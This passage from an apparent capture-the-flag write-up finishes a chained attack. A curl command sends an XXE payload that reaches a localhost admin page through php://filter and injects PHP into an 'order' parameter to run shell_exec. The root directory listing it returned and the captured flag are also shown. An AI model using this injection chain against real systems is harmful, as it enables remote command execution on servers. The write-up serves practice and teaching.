Maybe I over complicate the things but I remember having some issues with single, double quotes and parentheses, anyway the result is valid PHP code :), the ($aaa=” thing at the end is important because it allow us to wrap the rest of the code (everything after shell_exec) into a string variable (like ignoring or skipping the code).

Note: Since I had access to the source code I did several test on my local environment so once I got a working payload I was able to put an exploit together, I needed to encode first the code into the xml before sending the post request.

Putting everything together looks like this.

[bash] $ url=’http://68.183.31.62:94/custom’ $ xml_content='<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=http://localhost/admin?rss=https%3A%2F%2Fwww.website.com%2Fpath%2Fxxe.xml&order=id%2C%20null)%20%26%26%20die(shell_exec(%27ls%20-la%20%2F%27))%3B%20(%24aaa%3D%22">]><root><name>&test;</name></root>’ $ curl –request POST –url "$url" –header ‘cache-control: no-cache’ –header ‘content-type: application/xml’ –data "$xml_content" | base64 -d % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 2197 100 1892 100 305 6348 1023 –:–:– –:–:– –:–:– 7347 total 116 drwxr-xr-x 1 root root 4096 Dec 26 18:10 . drwxr-xr-x 1 root root 4096 Dec 26 18:10 .. -rwxr-xr-x 1 root root 0 Dec 25 23:47 .dockerenv drwxr-xr-x 1 root root 4096 Dec 25 23:50 app drwxr-xr-x 1 root root 4096 Dec 4 15:47 bin drwxr-xr-x 2 root root 4096 Apr 10 2014 boot -rwxr-xr-x 1 root root 1122 Feb 15 2016 create_mysql_admin_user.sh -rw-r–r– 1 root root 31 Dec 26 03:34 da0f72d5d79169971b62a479c34198e7 drwxr-xr-x 5 root root 360 Dec 25 23:47 dev drwxr-xr-x 1 root root 4096 Dec 25 23:55 etc drwxr-xr-x 2 root root 4096 Apr 10 2014 home drwxr-xr-x 1 root root 4096 Feb 15 2016 lib drwxr-xr-x 2 root root 4096 Jan 19 2016 lib64 drwxr-xr-x 2 root root 4096 Jan 19 2016 media drwxr-xr-x 2 root root 4096 Apr 10 2014 mnt drwxr-xr-x 2 root root 4096 Jan 19 2016 opt dr-xr-xr-x 331 root root 0 Dec 25 23:47 proc drwx—— 1 root root 4096 Dec 26 18:10 root drwxr-xr-x 1 root root 4096 Feb 15 2016 run -rwxr-xr-x 1 root root 549 Feb 15 2016 run.sh drwxr-xr-x 1 root root 4096 Jan 19 2016 sbin drwxr-xr-x 2 root root 4096 Jan 19 2016 srv -rwxr-xr-x 1 root root 67 Feb 15 2016 start-apache2.sh -rwxr-xr-x 1 root root 29 Feb 15 2016 start-mysqld.sh dr-xr-xr-x 13 root root 0 Jan 26 19:06 sys drwxrwxrwt 1 root root 4096 Jan 27 03:30 tmp drwxr-xr-x 1 root root 4096 Feb 15 2016 usr drwxr-xr-x 1 root root 4096 Feb 15 2016 var [/bash]

The flag was inside the da0f72d5d79169971b62a479c34198e7 file, so we just cat the file and got the flag: f#{1_d0nt_kn0w_wh4t_i4m_d01ng}

Happy hacking 🙂